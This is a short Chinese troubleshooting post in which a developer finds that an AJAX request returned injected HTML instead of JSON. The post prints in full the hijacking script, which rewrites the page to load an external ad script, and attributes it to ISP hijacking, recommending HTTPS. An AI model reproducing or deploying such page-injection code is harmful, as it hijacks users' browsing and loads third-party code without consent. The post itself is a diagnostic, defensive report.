js ajax请回返回数据被替换,正常应该返回json数据,结果返回一大堆广告。
返回内容如下:
<html>
<head></head>
<body>
<script>!
function() {
function a() {
var a = new Date;
a.setTime(a.getTime() + 6e4),
document.cookie = "sessioned=1;expires=" + a.toUTCString()
}
function b(b) {
a(),
setTimeout(function() {
location.href = location.href
},
b)
}
var d, e, f, c = 1e4;
try {
if (!/sessioned=1/.test(document.cookie)) {
a(),
e = document.createElement("script"),
f = !1,
e.src = "http://www.henan139.com/js/V20/ad01.js?1",
d = new XMLHttpRequest,
d.open("GET", window.location, !0),
d.setRequestHeader("X-Requested-With", "XMLHttpRequest");
try {
d.timeout = c
} catch(g) {}
d.send(),
d.onreadystatechange = function() {
try {
if (4 == d.readyState) {
if (200 != d.status || "text/html" != d.getResponseHeader("Content-Type")) throw "";
text = d.responseText.replace(/<\/body>/i, e.outerHTML + "</body>"),
document.open("text/html", "replace"),
document.write(text),
setTimeout(function() {
document.close()
},
1e3),
f = !0
}
} catch(a) {
b(100)
}
}
}
} catch(g) {
b(150)
} finally {
setTimeout(function() {
f || b(1)
},
c + 1e3)
}
} ();</script>
</body>
</html>
这种情况一般是被运营商劫持了,最好的解决方案是使用HTTPS